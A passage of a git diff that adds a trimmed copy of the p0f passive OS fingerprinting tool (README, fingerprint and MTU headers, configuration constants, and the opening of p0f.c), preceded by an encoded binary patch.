z90;+C`27VUtO;t-1N?443sK29^|9n6qC{2B(UKxYhrFaSkvQ%1a!v;$$?yrf zFVV<>IeIq>(BX)yR;X!0>^ffJ+5eK5RvMhw2c6x|hM{0IkVqK(J&nDBjqWkh^ftpz zMni0=Blb_QEiIe)<^;|Sit%=iZC^-l9TYh%#$~pq8WE#ig00;~`NbF(>oWagVpwK> zkFviL{IYmRO=$UeLV9w!+=&D~o(l2g;TQ=S5d{v5ftJ0(qSS1mNbthWFcG6Xa*E#6SY-tGCj274Ju)k{d`5U74Ub&v zOi-wt8pp!TU@f``^)N zK5U%kC7GjUYe?3yj(+P!!c!IF)S|3n%$^B@PpRcXZHHb=&~HR8N;F+uO|lmTC2mnU zIBnGCXG0FrwVeY87Rs~+N}n;<$n1>Il`Ia>eou0U($GE+M4-D`?-Hub*xMLAk98$5r} z;_MuBKzOlX`z4DO*tv{#rpzO<)N^FQvQ?MFW70VrZ$aXu(zQez%PX09dvTGepIA(R znki|W;|C-`lvCEjUfPj54_Oy14)WEc>OQU0%g$r*1Ucer5oN28fjZc#)I=;)7g-H5 z6(384x0PhYP}_>Vz_7hcHBVKRtCo3Z&(aHEy*8k7W0|oX9$P6X4e6{(x`L#0@tJI% zM=n`Rsmv=$Ed-A`i^rgrX{JiK(AzjGpWLAqsPC3j?0tjkyPU$~xKvqIZbWTN8o$c* zUD=HFJI5ZqC{iQVkJVHM4m75%&};W;HEN+`r!wwz^hRHgO56D&G?cZj=xB)SV!iaD zUpqRH;e3{OVm6S~hPm1;*7pt^D2nmi8O4TjXH<64Ba#l>xlvDZM?n`~yEaQn&Zde* zD`U{TC#if)11s;3KZASI)e=3IRJ4jCT0XAogI!4FEj}HY{FPiiiTBr1wphXa^BC$s z==rkC73{)7j;VFjZkj}<$%>7kUQ{JUe^*r&Qbn3x<=s-7QyJ{ET|6%`%a)6&ikKYu z{KLDv@>IIyqbfXxBxQ^{T`kgCS81t~C@iaqS}(EO&oYlxbE1Y(XIwEYvM%Q6blF9< z|7RCv|6=hqp;@6Xko8@QL?5@xWvg6|63P=fIywhLg^G8N=%XoG#C zNX{lh;mOEUID}Ji^)M7ZrXI#8CzV60BkE&GJgKx1N9_B`$Pn%Fc$y07Z_X|(v4tO! z@TlGExqDdzn6bmu6Q;m`UcoFGriy@t!Q>k-ydQ1l5aNXBf2i-DE z3t?gkceTu=;a&C5x8D@(LojJafSWuS{#={`4A2y`&{!@U1RR#{lza zL!1MY)Exl9fJ<4pp@oYbnEoTAuj7;pa2W^lV3@AL6)ViVVd4)nQoxSjP7Q&X4PVbG z3jkpN)iq!-k1F>8NFyM`Fx7+^EhuXN3j@3b0kqSA`U0j1S78W%0W59dQ2QfvpDz&Q z0~I$+Pyr19>=tlFm{8tx6L%d2$O&ktnCloy0|*@Gut9wTcfT;tgo!MmUw|~h&D_-x-1_}^6Q?tP%iEiUJKPaaG;HGZ25@x?if+IP0AquBDcocM-T+r} zF#8A86K-?gw~4#Hy-QF^z;qZ;fREk8sVQK-4M;UiMPbqlXfWKL0ZIsH6==%=0|f*d zF1Y|jf?FuKOoZt);NhS}2gDFiVgx|YHs93P{(v&ToE0v4;Tk$dX<&j6Gk?HlLE|C= zpt+9-Dhq_SxonOO-tIgGT{+;?F!|mt_*ejW13V8<06-PsMhxzn0b7Q7Iw);^a}%dT z2jt>L4|*NA?|IFQoVEh6t-lcW2)GZRZDor4yKS860s-(BKO6Ipyi*%a|1}-XI*L3@bWwA`+s;x^K@_8#wqUMA`wu&d4+iiaMoo(g#c4*P|?F= zedH!ir2vQlp!INR1bQ$)`#>`Q_gr5WuF~N88m_V767ywr-O>%5YG1l+21I*FxORhU zXSiC1>t?urhFfOPdjUcRC@~nR_=xB#06j2I@b$E`83Sd;cDPtMgMt1u;IO3jDdi^!Hgc1_+xaxZ`s75u5bka*cGF;zn)W7016Lx z)^J}97v6x;!L2piVZ+@uTv)?JHrxWhg*aS%!v#0sMsOPdSLAT34QK+~C&D!%++V|G zAmF%wodLQ9cq$;gpnU+m4bXPLWB}8BK+xd8)gmAxaE$=?J=`b2wJBija8nA1G2Hk8 z;scX)z%u}MgF9Nlr{VG(E(<{Y0GJM7wtyc4?hG0=z?;9liPLhxEje7AgPsD=dbpW` zyFR$V1k@F-#{p@Bi%Gb`W3a%xIfV@1&~V8P*RD?}V~83a-^yLK9~bmmPl{&}&=;fzg^a6kxzl7Qa&@;G5hl>KZV*s@HCv**5m;!e48QT97`gPHL!hI}U zZo*x|KW*mJGGP~2a#*-t_`&n*ad4gRNipZb4f`v^a|_q=fOP_r07yJwf}mpfV?mSl zmKH>4fHGcC&j0piPOpLh7Z0F50AvU-*=7N-cfh9s2?cckU}k_~fO^6mK--WJG#@*guyujDGI^c^>I_k^HiI81c~Di*+70d)ry=ha)et4X-^0CfahuKqx{vWJWNzqpON^tknQ z?#lkB!rlGpt(@u#G%RpeAEP+Hgp(Bi&Re*flLxnQ_x7OY{C(Pg(H2hS18DK6Cj26@^pnL%wJw*8e1`C&lFQak*M*VJa%_p18 zT~CVhFA`Kte@fTEbuy?e;QA3%B{Behy7xLxwe?BY9QPk2yN9lMHOYU@R!+|ZYKPwy z<)5LrkBBwid&PMCI`MqLwF)5jfW858?rUU8bcBtr^#CXy0Cfe-5Okhd7ybdTBS3;d zM*)a&Mf54S;$+lbB!6xbrzVo&{bK$H1p7Urj{_12csA%v;L=694g~cF!YOgh7ew8B zR;-Z{bbVFKb9V{mz&{i94w{JD@8pzaaE}RknysSF0n0q4j6s0H!!;&gpPNWd$VmPEiK9*!~A)oB$OLs3|~61PY#yP+x}|X}IzQ%_3;5Z>Mtq z#todF>-6=UathE+!0G?+c1{BaDjc{w22>3YFTl6~MTcA24=eq4r|1uW(SnBL{4Jb% z3{b5P3J%I0B0XG#0&e(zsC%L23X|Rp2MlJK!NjT3J)e|PXHAI_tEDz z#>=oz^j)}-2c#CXD1RsF3p6%>Fh4G203!VckN1b?DCN6TJez=|12&$$9WY^oQLF$K z2pXa1-sQX=E^Xl^{tnSU0aFGIMXLbX3BS1CPb&5I@D67>xLnFmSwhd}RCTkWtpNW7 zd{?@DeXocI4G!oS0ylB@zTXk?pg#DJ7{6XC+7oVQ9}=?Rz8Ew+pdf)eYrv&JEdd&a zB(=fsis%0y#q<9*Wjy|x7%$$Zyh~Z)JSapy+QPk3mv+6RgA9i|H2>$d!2h{_7cCTb zHu8XeV&}7)3-nVvuWde1DA%Ci!OId}Y%w`pPL9ynu1muc`ck^jle<>t3w_oxD`vyb=mD>R;H-qSko zDdwO1cKp%$OT~MN?*NY;DRn-Zc~2jzmAU(paiF4a@9wlaSIdF=rfstP-3@%GY@7@| zx_+(rP#@bSpQCQgjcRCaRLzZg^>Cx^GV0u@;6+`}W^{w`qi$p?9w$fY28z3p^`vg* zJ75cK!G&MvPVHvg@+yaF2g|3%nKlGr0QwGR+o_X<06Q?Yr6+8?(4f1$(yr?YLB zFfqXA__PaKF9Wbk_^h$j)xUu=ggF~NrNMj(7zLP%NDQA~0GK1;a|uj9+6@x73H9Erc#eQg#OLf6 zZE1QL`<(JG3JwNlEl?LGL>~h#6ya&tvx!gs_!JLJ_%U%$%)IJujwJ+^=4wW!0rRLk5AeXyAL%t%*ybo7ubE^c44}(Rl&;uzmLyc!0i8vD6_=w zBfQ0hcUJ>G`++|KJO~oUi10QKoQ@2;w$}GY#MlC}wtx4)&psvkB+PZbCh7zxC@`0S zX(w=JFpqd-L;V_<@O(yK&S3WPU1iLLiIj@dQUlb-Fb#l->G92t=Yib;1`wZ3po+gm z^o?a98)hajzk&JSTXu3j1sQ-ZA6NS1n-n|`0(doMU2!r1*Ms23Mm7uoQ?ysuV@^PT z8RpF%;|{RRpAygLN47VfM}Rq7uE`jTfKM_oca_-T|FyL-4Y1aCDs2sO(UTtOWRO@S zVAN)nazEMCnD!g4a{szAx56Y5CXnFQz^4)5I3=FZ@|Zu=03HS4sew&|+31H{93%K_ z^etC;vYVX8UsCSz-LAHLOzD%4DbLRS4bF6Md+{4ee}*Y0F#8h6D6#v%?Bml~+=bnT z*(Wga65qU6+z0p^UU_RhUwnG`t~l-$ZTU4Z*1@b8`2L%f^v%L6mHUJ_DNOlb+ILTr zzA1S=z~usd0hoBhwD03WHn4f05Mu&9Rl`(zuQIQ|>>3!xSBU5Ly{>)^oZd^6=MorV zd`^A2YrOiX(snQjf1k)N@6k_S?gK0*cy1&Pa)WZ;;OzjOKBTn&UNL9G^y;f(EPh0s z|6B`fFicA&&iO-4o*9^B05|wC!8?F}&xJ5El3WyjF7l8Vz2PQ$)i-*K69~X_;}icQ z9&-b@7XmH}<)bEt4#9*47<=F;VY&yi4wx(B6WzOe8uJ1c|49#S6dAyw0zR0}3J4Q8 zZ-7mem{FJr{ekN_e6y>q!J`6mCW&8uTGSa#i7=D2?g0J-@LJ3&>+|olcxJw=JZFG#Jm#_P06)RYJ>F-* z7ZO(HIq=E+n@iSHN}mA_!kfjt?DxQE!-V+9%JF99eQ8X&*S9OzeoXX3aR0b@5)fcM z4O3l}6G-I)0v8a>jbNS&ZXn4E1Xu=45WxWivmKb0fdc_1%qKm@C25n(?NIc?^&N@B)FqO13l{=i4@fNM?%?4TyAgTpB$zrxKe z){rs)Cib}-8{pleV0f9f~iz09EL%dszGcbFCnf&LJ=UZ|c{Hu@wJ|LJJ{*EXk zIJ#hd+|%M6Pz@g!;}^{RKjwOu84+W{XFc-zpz@sk#P#0sYSEsO-$w?R@G$6Z59jy+ zKO4-2!CeIY7np&<^a&Ye}6|= zPXVF^J_K-~0NQauaMj5G=-f}0KB#izd{jL9;5mZn9-wvL00Z31&5QGS(NAHje4mSF z0OqHXBkWbKKDom+1_5^T36Hr1TzoLW`F-X7zvi*_`(tG-0lqevp&j5%Gt;fgm=5m1hdkyR2D#qM`D$Pe{Ou<1 z2L&;=0M-B#Ye4dDb=}*C#q$djwx<;R40sV?76u-!=ZSXxQ^|Aje9mL>gi^mSiF{h{ z?Wn;o#uUj91dc|@U*Z?-`2pAb4HNuxuDCrO`nHoE^Sc@<9(oBG=0rV!w+yDT&k@fV zpn-r+0FngLMZmruakba;MOhvY_4`_NEq1dv#}~|`r^Pr2j>Pvg(W@W;atBVEHz?~N zaEO982PU=PI0I}Kyma#|)-DL87P;_K++2Ha70(4=U4RP!y7;8>+yXWLZbq1h z-=Orb_q*nQ@J~v9ov7>n!Oi$8C4EqtTMrBQ|KNHT`CHMqJ}=&121K5>iFAMi0~QFL zwne2L!0iW)Gr)5t7ZA*T0ilJNHDGzCMOyIKjfpuDyflE!Ah`L|nCarx#=Y{UK7Ysm z_{t;qqFn#H{{EfO(|5*S_r2V0oliXSF46e_d~pKz`3|m8SL?dvyhCnVfwp zZCxx}41nfPeEXs8D-DhO{)T>u?)&_M?s zbkIQu9dyt^2OV_KK?fal(BYDWqHnRkhS}|xnB8)&u!b^xexGk-XvpyK;NJR2e1nE> zbaco!G(0pqGC=7EhbXz}Tf;Im4b^fbRWePZWZRWi=~g;_jfQ5p>x7-F!s9K2XYVs7 z8CKOi#=k+DV|_kfch_{uK4qmVyL%oSn+Wa?h9|~)$0mjXy?%el*E<&S`+I%9fG@b; zPiKb)9`4y=9x?$E?%BsS3OXDy4+bVj2PTI{gT0|a-$3t>FFew_e{6VvuYYp?SinCp zI5`pyKit#ZwMEEH(2okUTO5Y0qE*OPg>=>`LsHQ$SHvm0CS1rkFYE5AM|F1{$=M63 z9HrwsGHY22LG}r`T1w%7WnQx6Il5>IgEmq$+af}s-6=}!@gg{KZ;&QR(ZtTy;JZ)od=)=ey`!L_IjlO~(JKy@oPckN*QhY#-zQuy1(K&&U74 z5k3B2j_}1V-1zuoe|*Qc-0_Fuv)}?_Wv_(}L*WVA#tkQM{EG`0F39K$I$TrXKk2t# zv?1CWHX5*jfGq@UB48td5lY%g+#u3QI|>-a+$7?3xc0(~Vbi~gVH#nhK--dWepTbg zt<+;=UM=iZSt$PJkH6pfn!oN?$1h}Ink3rBDI-GC7ilkSoLi;*&JNh=pg*Dv?OrGC zS!a!uQ8rE+Q6o#+iZMrjEh>|YFRzf#-6S7*ZCr(X&L_%4#5iUojF=G;HBn^JE7S@T z?D(uGPqVO>1%0S@1~+yMie+2EPyfK(XVjT+z~1t%_eT)|Hb z4sURua+|Yb;(9OJvq=Ly&frc)`+#qEW&1MNi@~mKPUL&sxHiVbV~;&udeN8X?|;L_ z=Z-$Q{*FWK^dB|+DA*>Nr%6EHS|0*U4GvDkqGlq!Y~|TucPN|6*-K_Pldah75!e>9 z7eEJf+*)9-r0nV3;yCIG+WDegunHA+*iCN)8T)Lxo?!ja*%(^VxFML!78mSPDPzun z%8SCLBUZsGrE=|;|C#cp;(GMk5cSe|dipWylxZwFLr*=9eKac08^@_1PEj8pp#G0> z;uN!^TnqUT>a~~wa>fGvJxBc*qs$9O4m1aA2lbuB8xX{vjhY5{X%t8(ln`J0T@jlY;H z?rS0+^B-!yNOH4Og2D>5u#0LFayJ|8-@mkT^^!ly?m0vKz^2&JioIZ$X#Xv%kPq2^ z*|C!R^G2Ta$<_~}y#LkIKh_G(+CN5r^CT7PpyQ$}d=~Z&`xtXGpA*}akM+W=*hhO; znB)TWx*WUz9P9gXWn@tsRA_#(SzokVJ@SC4|JB?-*6VIQ8QjCK8SoQ?afr)aqQ5Ds z4O1!AJk=1!2AnU`Z;`DXkFnKLmED0!ZC9cF4C}up&DK+Nm$S4-Z}#+Wkn%W2IgHXa z&DJ{ebS-)s#(f;l!Q~T-RVRm6jI+63h^CgGB)OyXZ1>VQG)TPw z^ZO8O!?cF&rSgo?`Tex#r<6Df(B1&0oTT$%`u8yPqYRBsPPuV5d#F+|;(3=XM1Rv1 zlNTe4I_6EY-kfbY6ZvTT!8-xo5854n@V@qQF#)xbFW<#Ntna5h^Xen{UB>F>UyS|V z7W)Y{!&Gbc$j8}5I$C1$U#fP-JM6oN@fTQ>1@Yj-Y4$lqJqV*pvoXF^c-}?Kf56O4 zi+w)3ps#FZ?_F!zH^If`P8(>{LHI^$=xRR2-i`+05e>Du0Z*7CR@_Mizl!o~@U zjZrzrxYbxnejmpu)r0}M));%kv8axMbSbG7Ms0)mBegSS@9k8ZZZCDUxj>dM*T$W&(U2%YKopxi+;{k_sU~%&qa*?>ix^7 z@nXZ~ix~gGG4O3M|JdRU>pJ5dTTz3XjdyP4nzufBp6Wfnzv0oeKj?z`u(jsJeyUqT~N+@ONwXxy>TJu7l#?4&x}BKQe3%FdNP{gsY)VdW~PD-fA(W z>!oQQ|G?moqm6d9ZllhQtEbeGX=NU zp&oyqugA0sX*-iGEFJ0*#uL5%f#HFkdk=Sa9poqh4icza*NeT`^F`}Wj{p(`@3{xY z`p0C}qkVoKBBoM#N(2}H9VF6eaV?J)aZx*+%1x&#%M?RWw;Y_#r7G~3RmM^M5CO{dh7Io|ro_o(#sP67i_Gr!5nyayCtO4!2stWh;G}(hrJrB3e|)p`Kw8Pt{1W zgrl*{QRapW6;dmP^Ar#*wI-?!dByaytb=md$}doDMYH7!JqGBEyq4rOvI-Z_ah=)K zgfgl-7&g%zSxCcM!x`AF-)N#*ES9L=5;Qbbs>O*^p@2J@otcx>#4-Vq zB49aGHjd9Z)H5W`iv|yr(X{=|dj^eucAmi~Sl4KtGMX)%cJ!ZmPf>w4hkDMI2a0kHcV#hfHWxB&mn*D^!)K_T2_-5t8LMnpOKHnvAZj{H@Bu=0 z=xPpL3#mGNgM%#u9k&(|R_RPOO+$ix?!0JnyR<_2PQ;>U@phAw6zcUk`+R=oTaTp* zG;(K-mr})|Rccp4pn5Kw%Th;J`SOGPjv1!){N?~kHJ#x^sukuqN2+UKmXlLLqyRsf zlhpzPV};KZQw6d7x%|`Ml;<>7j%l5s)I)(5v(g29VyO2m%QmLhrrz7IJ*N z_uL3%Z0lSqZD73Y!75L0m`vi=YEcXh3Vn_}#-J16{702LktP<@X2mxz%P$!aBOhGNuIepx!20w{8>DiqlI%|O#>%@IUw2s}8$4s6^h7%K+Nw(*RvE`^)Myt~~=f%7u&B0yUBh5!f2|QMU z=L&`$w_3K2ef>8r4#!wFyx*t2WeS3kRM_zy5t_e`v7Ttw$dPbriSuwx{?Oq?RP@vt1C>Zbdl@`RuF2Iu8a!V8kx z1l5rtyIX~rbto=-YjJc6>e=RW$3x3@dPai9^jX-l5_l(v^9lHd(Tf*>areamWN8mj zZ?nR?+@=o#yXM9};hl~6vC91)Q=#Sv0ZZ2HV0}3Ukm;OcXV~v0nDO_eaIbi#wogvo zM>h>5{QdpSH305my8@r`|1DY9E=wu-v?K5vj0?t9Yj8JKH#Wi8wlkM!Mb|#DhC;f( zu4V_cW7B?l*2m#kb{KajVguva#4!5VHg-ZZ+N$|bjCg#Y)iY_9q~z)JplmG>u=zjH z=atDi8Ix5xtP)N_3E$`?tQo;86u+dwqlxTebYB(?Tz#IfQt{BLkIs6c`Q!GU*5i7i zg?;#I)*%`2Zq^-f5d`NW%3jjm+HyS=ZaV$I^)3SeSqTP;Z7g(yhpTGcE@=UVIR3L@ zxgZ`})P3fZ>K_Ton}H>K!&Civ`(c4_<)ewX&2p!`AkIeaYqxECvWt~u(*(eNZLcoI zNRN+)+U>Fzjl8(4n^0}u<{5)jI%3M7B`2t^OO5I&iuoRV8NXE%SmviFmP4YhJ;7S*%e z7}s+Hn^A(5L4x4GKVQJPo+`fS<|hZb-h))H+-%v=UeAqN7b;y<2+1iKsT8T9T9$%e z?JF|n7}b+tTky_%@uh5i@J6}cS?(qXOwA@d|6t7w z&i4qQwJZM}OoixPGH~JK)!80@kIfC%@!&|*PL;)``^o|N`n`ib7U7eF?`4Tx^1cITRrlOiaMtDbRI3h~ogOZF;1#z3#q1(zE5KWYKOEZw~fiXf&Dk zds+9Rns_@$gT_A)Myw|I+?wJ+~O}%lNW~= z6rAAljn?bc4z27>iSYit3R}-ra@l4~RD)TtcHDYds;~fo<6-p0h{QG%O5VMWhA1rd zUFv5y7D8w3JlEzLONikePLyT~mv06BUk$Iv@?6g=+-PG~8DSR3j5z8{a^Gl~12ZM( z0<~zY5L&ePCv(I{JLPwxvppb-!CVc?d++LKcmYv}XC!-T&0@{q z*#`x(zU6%R$Gup9Ys-4+3|w)RCkHE)Ih?8nRG}S$tFH()dQNb>?UY1qc8xgRdoLi6 zC~}wcTzd7^&DYw&BjS!visX+FnvTpj9S6$tY8fAF3WLlJ8ZH=Ew(JO*qeT0^W>z@% z+8JGi{iI^~aO6Uvj5zeyv|7p&G8wK-j@#??*6PWLV>qL|U-$k=L3T%+1l4YHUg=CP zau6X(V=7&2hD%Zxv!)(|3X|*R@GFl_(h$N-$Bb>XZ5f)0I%H8iv?Az9;<0*3le)-_ zeetrW;S%p&Xbj~Dnt)pLTz9We(lA{CJlzIRCn3>Yh>xC$r||Y=-Q$D`qwdpkBZ@L_ z`QtA$zsi>PKpA(2FD%Q5BYz3Oc97VzbvdZ{=RvK;UvFSPNmpk zTLix#<>cAId|M~-l)R}rgfFM4s8U`dmfV$0JT@G4O1qL?6&I$IK5p&4KPj#EtwbgE zPoKG+&A{qq$7q_{*slI_hI6?gQswyjH2J9Pt#sf-utvB^ZuP{+>HhNL1pZ_=$Mp9p zYxovW3rTAJ z$0!pc#9*o(W0B%cS^_#!4>0;-*Cl=cUlmwuN`<|N$4UtQU~5-+CxsgW6eARtN@Iyve&OR4W@YjZ`VR46z>s4o$|Mlamftd z4nxGJ2BwJJ0dWH@FQ^YxWXg-iNTbz%IZ`2u}}`@KF^M}4{-e9j`@8cUAi zN#Q)z_xc}s+Z_06)vD&Ad`532wgI9*YCzgHqJcps>Apm4qD#KX% z^|vyEUtIdvv65nr;^qQ0a4vMMUf=C?Yiascg{^5ZEOWtPSXY=06GeO&URMOK`n%}N zfSo>SFh^WUMMBEv2*vYsP83ZTi_xUZGurXn!dE`xRvr1* zk3er+0k+Z9GHd^&#F3?%~OL3~ri^0+`j)bJdU#DmLIwS%A%#6EHZ`57RQw zv2{u2-*OXkRQ6t4R;k8J9i=t&6z`e$rU8Yu%$a9LgLZdhx&(0c044VcflHu{0lGf& zQB5NC$qBoGrKNCiCpvdoP5V_C?U2&tCEqzD z8X;-=R&vNQ&?1{}d8eGg%j=k7E3Mfkl~7fP5Af^XQgH3qiUuYT?x71RoRKZyosrhG z;jc8Nz4!IkhYsl4S_cAISCWOQi!1AH3!xYJ|yltvUZ6;rh%}f8x-z-mc z;~>y>ilZ#@;z&QfX01EYG>@2>M1=(za~mm`b0-7I)(vlROjB~^HbxNLaugdT{|$Br zn5lig9pbKOqjs877Lc~sTKc2rcRE?7bC;Bi>=gWJ_3|MRd=-SjAR~#$6w==L8o>}R z?}TWg9WmL3{XW1_=8-({hQzL&>9)cglcJA1i5vSr1;U8=jOFc$pg$>-_5Zj!2qgjq Mn*pXb&d6^32dFjKoB#j- literal 0 HcmV?d00001 diff --git a/src/tools/p0f/README b/src/tools/p0f/README new file mode 100644 index 0000000..ae5d96b --- /dev/null +++ b/src/tools/p0f/README @@ -0,0 +1,9 @@ +this is butchered p0f code. sorry 'bout that. + +it is LGPL, but the original authors are: + (C) Copyright 2000 - 2003 by Michal Zalewski + + Win32 port (C) Copyright 2003 by Michael A. Davis + and Kirby Kuehl + + diff --git a/src/tools/p0f/fpentry.h b/src/tools/p0f/fpentry.h new file mode 100644 index 0000000..eca2343 --- /dev/null +++ b/src/tools/p0f/fpentry.h @@ -0,0 +1,61 @@ +/* + + p0f - fingerprint entry + ----------------------- + + No servicable parts inside. + + Copyright (C) 2003 by Michal Zalewski + +*/ + +#ifndef _HAVE_FPENTRY_H +#define _HAVE_FPENTRY_H + +#include "p0f-config.h" + +#define MOD_NONE 0 +#define MOD_CONST 1 +#define MOD_MSS 2 +#define MOD_MTU 3 + +#define QUIRK_PAST 0x00000001 /* P */ +#define QUIRK_ZEROID 0x00000002 /* Z */ +#define QUIRK_IPOPT 0x00000004 /* I */ +#define QUIRK_URG 0x00000008 /* U */ +#define QUIRK_X2 0x00000010 /* X */ +#define QUIRK_ACK 0x00000020 /* A */ +#define QUIRK_T2 0x00000040 /* T */ +#define QUIRK_FLAGS 0x00000080 /* F */ +#define QUIRK_DATA 0x00000100 /* D */ +#define QUIRK_BROKEN 0x00000200 /* ! */ +#define QUIRK_RSTACK 0x00000400 /* K */ +#define QUIRK_SEQEQ 0x00000800 /* Q */ +#define QUIRK_SEQ0 0x00001000 /* 0 */ + +struct fp_entry { + uint8_t* os; /* OS genre */ + uint8_t* desc; /* OS description */ + uint8_t no_detail; /* Disable guesstimates */ + uint8_t generic; /* Generic hit */ + uint8_t userland; /* Userland stack */ + uint16_t wsize; /* window size */ + uint8_t wsize_mod; /* MOD_* for wsize */ + uint8_t ttl,df; /* TTL and don't fragment bit */ + uint8_t zero_stamp; /* timestamp option but zero value? */ + uint16_t size; /* packet size */ + uint8_t optcnt; /* option count */ + uint8_t opt[MAXOPT]; /* TCPOPT_* */ + uint16_t wsc,mss; /* value for WSCALE and MSS options */ + uint8_t wsc_mod,mss_mod; /* modulo for WSCALE and MSS (NONE or CONST) */ + uint32_t quirks; /* packet quirks and bugs */ + uint32_t line; /* config file line */ + struct fp_entry* next; +}; + +#ifdef IGNORE_ZEROID +# undef QUIRK_ZEROID +# define QUIRK_ZEROID 0 +#endif /* IGNORE_ZEROID */ + +#endif /* ! _HAVE_FPENTRY_H */ diff --git a/src/tools/p0f/mtu.h b/src/tools/p0f/mtu.h new file mode 100644 index 0000000..21f50ae --- /dev/null +++ b/src/tools/p0f/mtu.h @@ -0,0 +1,65 @@ +/* + + p0f - MTU database + ------------------ + + A list of known and used MTUs. Note: MSS is MTU-40 on a sane system. + + Copyright (C) 2003 by Michal Zalewski + +*/ + +#ifndef _HAVE_MTU_H +#define _HAVE_MTU_H + +struct mtu_def { + uint16_t mtu; + const uint8_t* dev; +}; + + +/* THIS LIST MUST BE SORTED FROM LOWEST TO HIGHEST MTU */ + +static struct mtu_def mtu[] = { + { 256, "radio modem" }, + { 386, "ethernut" }, + { 552, "SLIP line / encap ppp" }, + { 576, "sometimes modem" }, + { 1280, "gif tunnel" }, + { 1300, "PIX, SMC, sometimes wireless" }, + { 1362, "sometimes DSL (1)" }, + { 1372, "cable modem" }, + { 1400, "(Google/AOL)" }, /* To be investigated */ + { 1415, "sometimes wireless" }, + { 1420, "GPRS, T1, FreeS/WAN" }, + { 1423, "sometimes cable" }, + { 1440, "sometimes DSL (2)" }, + { 1442, "IPIP tunnel" }, + { 1450, "vtun" }, + { 1452, "sometimes DSL (3)" }, + { 1454, "sometimes DSL (4)" }, + { 1456, "ISDN ppp" }, + { 1458, "BT DSL (?)" }, + { 1462, "sometimes DSL (5)" }, + { 1476, "IPSec/GRE" }, + { 1480, "IPv6/IPIP" }, + { 1492, "pppoe (DSL)" }, + { 1496, "vLAN" }, + { 1500, "ethernet/modem" }, + { 1656, "Ericsson HIS" }, + { 2024, "wireless/IrDA" }, + { 2048, "Cyclom X.25 WAN" }, + { 2250, "AiroNet wireless" }, + { 3924, "loopback" }, + { 4056, "token ring (1)" }, + { 4096, "Sangoma X.25 WAN" }, + { 4352, "FDDI" }, + { 4500, "token ring (2)" }, + { 9180, "FORE ATM" }, + { 16436, "sometimes loopback" }, + { 18000, "token ring x4" }, +}; + +#define MTU_CNT (sizeof(mtu) / sizeof(struct mtu_def)) + +#endif /* ! _HAVE_MTU_H */ diff --git a/src/tools/p0f/p0f-config.h b/src/tools/p0f/p0f-config.h new file mode 100644 index 0000000..ecd11bd --- /dev/null +++ b/src/tools/p0f/p0f-config.h @@ -0,0 +1,102 @@ +/* + + p0f - configuration + ------------------- + + The defaults are rather sane. Be careful when changing them. + + Copyright (C) 2003 by Michal Zalewski + +*/ + +#ifndef _HAVE_CONFIG_H +#define _HAVE_CONFIG_H + +#define VER "2.0.3" + +/* Paths and names to config files */ + +#define SYN_DB "p0f.fp" +#define SYNACK_DB "p0fa.fp" +#define RST_DB "p0fr.fp" + +/* Maximum number of signatures allowed in the config file */ + +#define MAXSIGS 1024 + +/* Max signature line length */ + +#define MAXLINE 1024 + +/* Maximum distance from a host to be taken seriously. Between 35 and 64 + is sane. Making it too high might result in some (very rare) false + positives, too low will result in needless UNKNOWNs. */ + +#define MAXDIST 40 + +/* Maximum number of TCP packet options. Some systems really like to + put lots of NOPs there. */ + +#define MAXOPT 16 + +/* Max. reasonable DNS name length */ + +#define MY_MAXDNS 32 + +/* Query cache for -S option. This is only the default. Keep it sane - + increase this if your system gets lots of traffic and you get RESP_NOMATCH + too often. */ + +#define DEFAULT_QUERY_CACHE 128 + +/* Maximum timestamp difference (hours) between two masquerade + signatures to be considered sane; should be reasonably high, as some + systems might be running at higher timestamp change frequencies + than usual. */ + +#define MAX_TIMEDIF 600 + +/* Packet dump - bytes per line; this is a sane setting. */ + +#define PKT_DLEN 16 + +/* Display no more than PKT_MAXPAY bytes of payload in -X mode. */ + +#define PKT_MAXPAY 45 + +/* Size limit for size wildcards - see p0fr.fp for more information. */ + +#define PACKET_BIG 100 + +/* Packet snap length. This is passed to libpcap, and should be never + below 100 or such. Keep it reasonably low for performance reasons. */ + +#define PACKET_SNAPLEN 200 + +/* Query timeout on -Q socket. You must send data QUERY_TIMEOUT seconds + after establishing a connection. Set this to zero to disable timeouts + (not really recommended). */ + +#define QUERY_TIMEOUT 2 + +/* Uncomment this to give extra points for distance difference in + masquerade detection. This is not recommended for Internet traffic, + but a very good idea for looking at your local network. */ + +// #define DIST_EXTRASCORE + +/* Uncomment this to display additional information as discussed in + p0f.fp. This functionality is a hack and will disregard options such + as greppable output or no details mode, so do not leave it on unless, + well, debugging. */ + +// #define DEBUG_EXTRAS + +/* If you encounter any problems with false positives because of + a system with random or incremental IP ID picking a zero value once + in a while (probability under 0.002%, but always), uncomment this to + disregard the 'Z' check in quirks section. */ + +// #define IGNORE_ZEROID + +#endif /* ! _HAVE_CONFIG_H */ diff --git a/src/tools/p0f/p0f.c b/src/tools/p0f/p0f.c new file mode 100644 index 0000000..8adf803 --- /dev/null +++ b/src/tools/p0f/p0f.c @@ -0,0 +1,1070 @@ +/* + + p0f - passive OS fingerprinting + ------------------------------- + + "If you sit down at a poker game and don't see a sucker, + get up. You're the sucker." + + (C) Copyright 2000-2003 by Michal Zalewski + + WIN32 port (C) Copyright 2003 by Michael A. Davis + (C) Copyright 2003 by Kirby Kuehl + +*/ + +#include +#include + +#include + +#include +#include + +/* #define DEBUG_HASH - display signature hash table stats */ + +#include "p0f-config.h" +#include "tcp.h" +#include "mtu.h" +#include "tos.h" +#include "fpentry.h" + +#ifndef MSG_NOSIGNAL +#define MSG_NOSIGNAL 0 +#endif /* ! MSG_NOSIGNAL */ + +static struct fp_entry sig[MAXSIGS]; +static uint32_t sigcnt,gencnt; + +/* By hash */ +static struct fp_entry* bh[16]; + +#define SIGHASH(tsize,optcnt,q,df) \ + (( (uint8_t) (((tsize) << 1) ^ ((optcnt) << 1) ^ (df) ^ (q) )) & 0x0f) + +#define FATAL(fmt, args...) \ + do { \ + ERR(fmt, ## args); \ + return; \ + } while (0) + +static uint32_t pkcnt; +static uint8_t problems; + +static void outbuf_add(const char *, ...) __attribute__((format(printf, 1, 2))); +static void outbuf_reset(void); +static char *outbuf_return(void); + +static uint8_t no_extra, + no_osdesc, + no_known, + no_unknown, + ack_mode, + rst_mode, + always_sig, + check_collide, + use_fuzzy; + + +void set_ackmode(void) { + ack_mode=1; rst_mode=0; +} + +void set_rstmode(void) { + rst_mode=1; ack_mode=0; +} +void set_fuzzy(void) { + use_fuzzy=1; +} + +static void collide(uint32_t id) { + uint32_t i,j; + uint32_t cur; + + if (sig[id].ttl % 32 && sig[id].ttl != 255 && sig[id].ttl % 30) { + problems=1; + ERR("[!] Unusual TTL 